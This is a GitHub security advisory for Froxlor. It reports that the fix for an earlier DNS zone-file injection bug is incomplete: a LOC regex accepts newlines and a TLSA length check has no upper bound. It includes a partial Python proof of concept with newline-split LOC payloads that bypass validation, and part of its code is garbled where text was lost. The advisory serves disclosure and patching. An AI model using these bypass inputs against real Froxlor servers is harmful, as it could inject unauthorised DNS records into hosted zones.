GitHub Advisoryadvisory · Packagist
GHSA-j6fm-9rfm-j5hx Froxlor has an incomplete fix for CVE-2026-30932
HIGH
Official page ↗
- Aliases
- CVE-2026-41237
- Ecosystem
- Packagist
- Packages
- froxlor/froxlor
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-74
- Reviewed
- 2026-05-29
Affected packages
• Packagist froxlor/froxlor: < 2.3.7 → fixed in 2.3.7
Description
Summary
The LOC record regex uses `\s+` which matches newlines (allowing embedded newlines to pass), TLSA `matchingType=0` has no upper bound on hex data length, and all validators return raw input without zone-file escaping.
Affected Package
• Ecosystem: Other
• Package: froxlor
• Affected versions: all versions before fix commit b34829262dc3
• Patched versions: >= commit b34829262dc3
Severity
Medium -- CVSS
CWE
CWE-74 -- Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection)
Details
DNS record content is concatenated directly into bind9 zone files at `DnsEntry.php` line 83. Before the fix, LOC/RP/SSHFP/TLSA records had no content validation at all, enabling zone file injection via embedded newlines.
The fix adds format-specific regexes and field validation but has gaps: the LOC regex's `\s+` matches newlines in PHP's PCRE engine, allowing a LOC record with a newline between fields to pass validation but produce multiple lines in the zone file. TLSA `matchingType=0` only requires `len(data) >= 2` with no upper bound, enabling arbitrarily large payloads. All validators return raw input without zone-file escaping.
PoC
```python
!/usr/bin/env python3
"""
CVE-2026-30932 - Incomplete DNS Record Content Validation in froxlor/froxlor
Affected component: lib/Froxlor/Api/Commands/DomainZones.php
Vulnerability type: Input Validation / DNS Zone File Injection
Patch: https://github.com/froxlor/froxlor/commit/b34829262dc32818b37f6a1eabb426d0b277a86b
The patch adds validation for LOC, RP, SSHFP, and TLSA DNS record types.
However, the sanitization is incomplete:
1. PRE-FIX: No validation at all - arbitrary content stored as DNS records.
2. POST-FIX BYPASS: LOC regex \s+ matches newlines; TLSA matchingType=0
allows unbounded hex data; validators return raw input without escaping.
"""
import re
import sys
import string
def vulnerable_add_record(record_type, content):
"""Pre-fix: no validation for LOC, RP, SSHFP, TLSA."""
errors = []
if record_type in ('LOC', 'RP', 'SSHFP', 'TLSA') and content:
pass
return {"errors": errors, "content": content}
def validate_dns_loc(inp):
"""Replicates Validate::validateDnsLoc from the patch."""
pattern = re.compile(
r'^'
r'(\d{1,2})\s+'
r'(\d{1,2})\s+'
r'(\d{1,2}(?:\.\d+)?)\s+'
r'([NS])\s+'
r'(\d{1,3})\s+'
r'(\d{1,2})\s+'
r'(\d{1,2}(?:\.\d+)?)\s+'
r'([EW])\s+'
r'(-?\d+(?:\.\d+)?)m'
r'(?:\s+(\d+(?:\.\d+)?)m'
r'(?:\s+(\d+(?:\.\d+)?)m'
r'(?:\s+(\d+(?:\.\d+)?)m)?'
r')?)?$',
re.DOTALL
)
m = pattern.match(inp)
if not m:
return False
lat_deg = int(m.group(1))
lat_min = int(m.group(2))
lat_sec = float(m.group(3))
lon_deg = int(m.group(5))
lon_min = int(m.group(6))
lon_sec = float(m.group(7))
if lat_deg > 90: return False
if lat_min > 59: return False
if lat_sec >= 60: return False
if lon_deg > 180: return False
if lon_min > 59: return False
if lon_sec >= 60: return False
return inp
def validate_dns_sshfp(inp):
"""Replicates Validate::validateDnsSshfp from the patch."""
parts = inp.strip().split()
if len(parts) != 3:
return False
algorithm, fp_type, fingerprint = parts
valid_algorithms = [1, 2, 3, 4, 6]
if not algorithm.isdigit() or int(algorithm) not in valid_algorithms:
return False
valid_types = [1, 2]
if not fp_type.isdigit() or int(fp_type) not in valid_types:
return False
if not all(c in string.hexdigits for c in fingerprint):
return False
fp_type_int = int(fp_type)
expected = {1: 40, 2: 64}.get(fp_type_int, 0)
if len(fingerprint) != expected:
return False
return inp
def validate_dns_tlsa(inp):
"""Replicates Validate::validateDnsTlsa from the patch."""
parts = inp.strip().split()
if len(parts) != 4:
return False
usage, selector, matching_type, data = parts
if not usage.isdigit() or int(usage) not in [0, 1, 2, 3]:
return False
if not selector.isdigit() or int(selector) not in [0, 1]:
return False
if not matching_type.isdigit() or int(matching_type) not in [0, 1, 2]:
return False
if not all(c in string.hexdigits for c in data):
return False
mt = int(matching_type)
if mt == 1 and len(data) != 64:
return False
if mt == 2 and len(data) != 128:
return False
if mt == 0 and len(data) 1:
print("BYPASS CONFIRMED: LOC with embedded newline passed validation!")
print(f"Generated zone output has {len(lines)} lines:")
print("---")
print(zone_output, end="")
print("---")
vuln_confirmed = True
else:
print("Validated but single line output.")
else:
print("Blocked:", "; ".join(result_loc['errors']))
templates = [
"51\n28 38 N 0 0 1 W 10m",
"51 28\n38 N 0 0 1 W 10m",
"51 28 38\nN 0 0 1 W 10m",
"51 28 38 N\n0 0 1 W 10m",
"51 28 38 N 0\n0 1 W 10m",
"51 28 38 N 0 0\n1 W 10m",
"51 28 38 N 0 0 1\nW 10m",
"51 28 38 N 0 0 1 W\n10m",
]
for i, t in enumerate(templates):
r = fixed_add_record('LOC', t)
…
Related
Alias · CVE (1)
- CVE-2026-41237 Froxlor is open source server administration software. vulnerability
Weakness · CWE (1)
- CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component weakness
References
- https://github.com/froxlor/froxlor/security/advisories/GHSA-j6fm-9rfm-j5hx web
- https://nvd.nist.gov/vuln/detail/CVE-2026-30932 advisory
- https://nvd.nist.gov/vuln/detail/CVE-2026-41237 advisory
- https://github.com/froxlor/froxlor/commit/b34829262dc3 web
- https://github.com/froxlor/froxlor package
- https://github.com/froxlor/froxlor/releases/tag/2.3.7 web